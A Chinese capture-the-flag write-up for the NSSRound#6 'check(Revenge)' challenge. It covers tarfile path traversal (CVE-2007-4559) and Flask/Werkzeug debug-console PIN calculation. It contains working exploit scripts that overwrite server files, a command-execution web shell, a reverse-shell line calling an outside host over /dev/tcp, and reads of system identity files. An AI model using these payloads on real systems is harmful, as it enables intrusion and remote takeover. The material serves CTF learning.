[NSSRound#6 Team]check(Revenge)

文章目录

  • 考点
    • tarfile文件覆盖漏洞(CVE-2007-4559)
    • PIN码计算
  • 解题过程
    • 非预期解
    • 预期解


考点

tarfile文件覆盖漏洞(CVE-2007-4559)

Python 中 tarfile 模块中的extract、extractFile和extractall 函数中的目录遍历漏洞 允许 用户协助的远程攻击者通过 TAR 存档文件名中的…和/遍历目录 和 写入/覆盖任意文件

关键代码

tar = tarfile.open(file_save_path, "r")
tar.extractall(app.config['UPLOAD_FOLDER'])

extractall函数如果结合包含../的文件名时可以实现文件覆盖漏洞
脚本如下

import re
import time
import requests as req
import tarfileurl = 'http://node5.anna.nssctf.cn:28560/'
filename = r"main.py"def changeFileName(filename):filename.name='../../../app/main.py'return filenamewith tarfile.open("exp.tar", "w") as tar:tar.add(filename,filter=changeFileName)def upload(rawurl):url = rawurl + "upload"response = req.post(url = url, files = {"file":open("exp.tar",'rb')})print(response.text)if __name__ == "__main__":upload(url)

脚本大概过程如下

  1. 首先定义url和需要上传的文件main.py,然后定义了新的文件名来实现文件覆盖
  2. 接着创建tar文件,文件名为前面定义的新文件名
  3. 然后是实现文件上传功能,利用POST请求发送

最终实现覆盖main.py

PIN码计算

PIN 的生成流程分析,可以知道 PIN 主要由 probably_public_bits 和 private_bits 两个列表变量决定,而这两个列表变量又由如下6个变量决定:

username 启动这个 Flask 的用户
modname 一般默认 flask.app
getattr(app, '__name__', getattr(app.__class__, '__name__')) 一般默认 flask.app 为 Flask
getattr(mod, '__file__', None)为 flask 目录下的一个 app.py 的绝对路径,可在爆错页面看到
str(uuid.getnode()) 则是网卡 MAC 地址的十进制表达式
get_machine_id() 系统 id

那又如何获取这6个变量呢?因为 modname 一般默认 flask.app,getattr(app, '__name__', getattr(app.__class__, '__name__')) 一般默认 flask.app 为 Flask,所以主要获取剩下的4个变量即可。

liunx下PIN码中的username 可以从 /etc/passwd 中读取

cat /etc/passwd

此题为root
在这里插入图片描述然后可以看到环境为python/3.10.1
那么绝对路径为

/usr/local/lib/python3.10/site-packages/flask/app.py

在这里插入图片描述
继续获取网卡 MAC 地址的十进制表达式

cat /sys/class/net/eth0/address  #或者是/sys/class/net/ens33/address

在这里插入图片描述
把冒号去掉,然后转换十进制
在这里插入图片描述

最后的系统id包括两部分
我们先读取/etc/machine-id(也可以是/proc/sys/kernel/random/boot_id

cat /etc/machine-id

在这里插入图片描述然后读取/proc/self/cgroup并且只读取第一行,并以从右边算起的第一个/为分隔符

cat /proc/self/cgroup

也就是下图的8a7dfdfc8f7d6dcb17dd8f606197f476c809c20027ebc4655a4cdc517760bc44
在这里插入图片描述
把信息收集齐后就可以计算PIN码
脚本如下

import hashlib
from itertools import chain
probably_public_bits = ['root'  'flask.app','Flask','/usr/local/lib/python3.10/site-packages/flask/app.py'
]private_bits = ['2485376927778',  '96cec10d3d9307792745ec3b85c896208a7dfdfc8f7d6dcb17dd8f606197f476c809c20027ebc4655a4cdc517760bc44'
]h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)
h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = None
if num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv = None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)

解题过程

非预期解

我们可以看到debug是开启的,那么当文件发生修改时会自动重载,可以直接覆盖main.py
(main.py可以猜,路径可以慢慢试出来)
在这里插入图片描述
那么我们只需要可以直接RCE的main.py覆盖即可
main.py

# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import osapp = Flask(__name__)@app.route('/download', methods=['GET'])
def download_file():filename = request.args.get('filename')return os.popen(filename).read()if __name__ == "__main__":app.run(host='0.0.0.0', debug=True, port=80)

解释一下,就是./download路由下,参数filename可以命令执行
上传脚本

import re
import time
import requests as req
import tarfileurl = 'http://node5.anna.nssctf.cn:28560/'
filename = r"main.py"def changeFileName(filename):filename.name='../../../app/main.py'return filenamewith tarfile.open("exp.tar", "w") as tar:tar.add(filename,filter=changeFileName)def upload(rawurl):url = rawurl + "upload"response = req.post(url = url, files = {"file":open("exp.tar",'rb')})print(response.text)if __name__ == "__main__":upload(url)

上传成功后,命令执行得到flag
在这里插入图片描述

预期解

源码


# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import osapp = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])def allowed_file(filename):return '.' in filename and \filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS@app.route('/')
def index():with open(__file__, 'r') as f:return f.read()@app.route('/upload', methods=['POST'])
def upload_file():if 'file' not in request.files:return '?'file = request.files['file']if file.filename == '':return '?'if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)if(os.path.exists(file_save_path)):return 'This file already exists'file.save(file_save_path)else:return 'This file is not a tarfile'try:tar = tarfile.open(file_save_path, "r")tar.extractall(app.config['UPLOAD_FOLDER'])except Exception as e:return str(e)os.remove(file_save_path)return 'success'@app.route('/download', methods=['POST'])
def download_file():filename = request.form.get('filename')if filename is None or filename == '':return '?'filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)if '..' in filename or '/' in filename:return '?'if not os.path.exists(filepath) or not os.path.isfile(filepath):return '?'if os.path.islink(filepath):return '?'if oct(os.stat(filepath).st_mode)[-3:] != '444':return '?'with open(filepath, 'r') as f:return f.read()@app.route('/clean', methods=['POST'])
def clean_file():os.system('su ctf -c /tmp/clean.sh')return 'success'# print(os.environ)if __name__ == '__main__':app.run(host='0.0.0.0', debug=True, port=80)

利用CVE-2007-4559进行任意写文件,然后覆盖/tmp/clean.sh,然后访问clean路由触发反弹shell
exp.sh

bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'

exp.py

import re
import time
import requests as req
import tarfileurl = 'http://node5.anna.nssctf.cn:28417/'
filename = r"exp.sh"def changeFileName(filename):filename.name='../../../tmp/clean.sh'return filenamewith tarfile.open("exp.tar", "w") as tar:tar.add(filename,filter=changeFileName)def upload(rawurl):url = rawurl + "upload"response = req.post(url = url, files = {"file":open("exp.tar",'rb')})print(response.text)def clean(rawurl):url = rawurl + 'clean'response = req.post(url)print(response.text)
if __name__ == "__main__":upload(url)time.sleep(1)clean(url)

关键步骤,要给exp.sh赋予可执行的权限

chmod +x exp.sh

在这里插入图片描述

运行脚本,成功反弹shell
在这里插入图片描述想得到flag,但是没权限
在这里插入图片描述

这里扫了一下目录,发现存在./console(也就是debug的路由)
在这里插入图片描述
所以接下来计算PIN码
详细的获取过程在前面的考点有提及
直接给出脚本

import hashlib
from itertools import chain
probably_public_bits = ['root'  'flask.app','Flask','/usr/local/lib/python3.10/site-packages/flask/app.py'
]private_bits = ['2485376927778',  '96cec10d3d9307792745ec3b85c896208a7dfdfc8f7d6dcb17dd8f606197f476c809c20027ebc4655a4cdc517760bc44'
]h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)
h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = None
if num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv = None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)

访问./console,输入正确的PIN码
得到flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/125776.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

`.NET Web`新人入门必学项目`EarthChat`

.NET Web新人入门必学项目EarthChat EarthChat是一个基于.NET 7的实战项目,EarthChat提供了很多的最佳实践,EarthChat的目标也是成为一个很多人都喜欢的大型聊天业务系统,并且将结合SKAI大模型进行打造智能业务系统,在EarthChat中…

Pytorch 文本情感分类案例

一共六个脚本,分别是: ①generateDictionary.py用于生成词典 ②datasets.py定义了数据集加载的方法 ③models.py定义了网络模型 ④configs.py配置一些参数 ⑤run_train.py训练模型 ⑥run_test.py测试模型 数据集https://download.csdn.net/download/Victor_Li_/88486959?spm1…

narak靶机攻略

narak靶机攻略 扫描 渗透 cewl http://10.4.7.158 > use1.txthydra -L use1.txt -P use1.txt http-get://10.4.7.158/webdav -V -t 50 -fyamdoot:Swargcadaver http://10.4.7.158/webdav<?php $ip10.4.7.158; $port12138; $sock fsockopen($ip, $port); $descriptors…

识别flink的反压源头

背景 flink中最常见的问题就是反压&#xff0c;这种情况下我们要正确的识别导致反压的真正的源头&#xff0c;本文就简单看下如何正确识别反压的源头 反压的源头 首先我们必须意识到现实中轻微的反压是没有必要去优化的&#xff0c;因为这种情况下是由于偶尔的流量峰值,Task…

JavaScript的高级概述

还记得我们刚刚开始的时候给JavaScript的定义吗&#xff1f; JavaScript是一种高级的&#xff0c;面向对象的&#xff0c;多范式变成语言&#xff01; 这种定义JavaScript只是冰山一角&#xff01; JavaScript的高级定义 JavaScript是一种高级的、基于原型的、面向对象、多范…

网络协议--TCP的保活定时器

23.1 引言 许多TCP/IP的初学者会很惊奇地发现可以没有任何数据流通过一个空闲的TCP连接。也就是说&#xff0c;如果TCP连接的双方都没有向对方发送数据&#xff0c;则在两个TCP模块之间不交换任何信息。例如&#xff0c;没有可以在其他网络协议中发现的轮询。这意味着我们可以…

Node.js的基本概念node -v 和npm -v 这两个命令的作用

Node.js 是一个开源且跨平台的 JavaScript 运行时环境&#xff0c;它可以让你在服务器端运行 JavaScript 代码。Node.js 使用了 Chrome 的 V8 JavaScript 引擎来执行代码&#xff0c;非常高效。 在 Node.js 出现之前&#xff0c;JavaScript 通常只在浏览器中运行&#xff0c;用…

第 369 场 LeetCode 周赛题解

A 找出数组中的 K-or 值 模拟 class Solution { public:int findKOr(vector<int> &nums, int k) {vector<int> cnt(32);for (auto x: nums)for (int i 0; i < 32; i)if (x >> i & 1)cnt[i];int res 0;for (int i 0; i < 32; i)if (cnt[i] &…

uniapp 开发微信小程序 v-bind给子组件传递函数,该函数中的this不是父组件的二是子组件的this

解决办法&#xff1a;子组件通过缓存子组件this然后&#xff0c;用bind改写this 这个方法因为定义了全局变量that 那么该变量就只能用一次&#xff0c;不然会有赋值覆盖的情况。 要么就弃用v-bind传入函数,改为emit传入自定义事件 [uniapp] uview(1.x) 二次封装u-navbar 导致…

ubuntu配置 Conda 更改默认环境路径

我的需求是以后凡是新建一个虚拟环境都需要安装在一个挂载了大容量的分区/data里面 /home里面的是即将爆满但是还能塞点东西的硬盘. 如果您想要永久更改 Conda 的默认环境路径&#xff0c;可以编辑 Conda 的配置文件。首先&#xff0c;找到 Conda 的配置文件通常是 .condarc 文…

如何读懂深度学习python项目,以`Multi-label learning from single positive label`为例

Paper : Multi-label learning from single positive label Code 先读一读README.md 可能有意想不到的收获&#xff1b; 实验环境设置要仔细看哦&#xff01; 读论文 如何读论文&#xff0c;Readpaper经典十问 &#xff08;可能在我博客里有写&#xff09; How to read a …

html获取网络数据,列表展示 一

html获取网络数据&#xff0c;列表展示 js遍历json数组中的json对象 image.png || - 判断数据是否为空&#xff0c;为空就显示 - <!DOCTYPE html> <html><head><meta charset"utf-8"><title>网页列表</title></head><b…

省钱兄短剧短视频视频滑动播放模块源码支持微信小程序h5安卓IOS

# 开源说明 开源省钱兄短剧系统的播放视频模块&#xff08;写了测试弄了好久才弄出来、最核心的模块、已经实战了&#xff09;&#xff0c;使用uniapp技术&#xff0c;提供学习使用&#xff0c;支持IOSAndroidH5微信小程序&#xff0c;使用Hbuilder导入即可运行 #注意&#xff…

JavaScript从入门到精通系列第二十六篇:详解JavaScript中的Math对象

大神链接&#xff1a;作者有幸结识技术大神孙哥为好友&#xff0c;获益匪浅。现在把孙哥视频分享给大家。 孙哥连接&#xff1a;孙哥个人主页 作者简介&#xff1a;一个颜值99分&#xff0c;只比孙哥差一点的程序员 本专栏简介&#xff1a;话不多说&#xff0c;让我们一起干翻J…

无人机真机搭建问题记录文档(待续)

搭建问题 问题1 高飞课程中的飞控停产&#xff0c;更换飞控&#xff08;pixhawx 6c&#xff09;出现如下问题 1、飞控太大造成安装机载电脑的碳板上的孔被挡住。 2、课程提供的飞控固件&#xff0c;与更换的飞控不匹配 解决办法 1、现在的无人机碳板上只安装三个螺纹孔&…

GPS学习(一):在ROS2中将GPS经纬度数据转换为机器人ENU坐标系,在RVIZ中显示坐标轨迹

文章目录 一、GPS模块介绍二、坐标转换转换原理参数解释&#xff1a; 增加回调函数效果演示 本文记录在Ubuntu22.04-Humbel中使用NMEA协议GPS模块的过程&#xff0c;使用国产ROS开发板鲁班猫(LubanCat )进行调试。 一、GPS模块介绍 在淘宝找了款性价比较高的轮趣科技GPS北斗双…

Linux 远程桌面软件

为您的 IT 管理员配备最好的 Linux 远程桌面软件至关重要。原因如下&#xff1f;Linux 是一个开源和免费的操作系统&#xff0c;它提供了一个非常灵活和可定制的软件内核。由于其开源性质&#xff0c;Linux 被认为是市场上最安全的操作系统之一&#xff0c;它拥有一个全球用户社…

Qt 中model/View 架构 详解,以及案例实现相薄功能

model/View 架构 导读 ​ 我们的系统需要显示大量数据,比如从数据库中读取数据,以自己的方式显示在自己的应用程序的界面中。早期的 Qt 要实现这个功能,需要定义一个组件,在这个组件中保存一个数据对象,比如一个列表。我们对这个列表进行查找、插入等的操作,或者把修改…

PHP自定义文件缓存实现

文件缓存&#xff1a;可以将PHP脚本的执行结果缓存到文件中。当一个PHP脚本被请求时&#xff0c;先查看是否存在缓存文件&#xff0c;如果存在且未过期&#xff0c;则直接读取缓存文件内容返回给客户端&#xff0c;而无需执行脚本 1、文件缓存写法一&#xff0c;每个文件缓存一…

语音信号处理给音乐信号增加房间混响效果

语音信号处理给音乐信号增加房间混响效果 是否需要申请加入数字音频系统研究开发交流答疑群(课题组)?可加我微信hezkz17, 本群提供音频技术答疑服务 1 源码布局 2 源文件与音频文件和生成文件 3 编译方法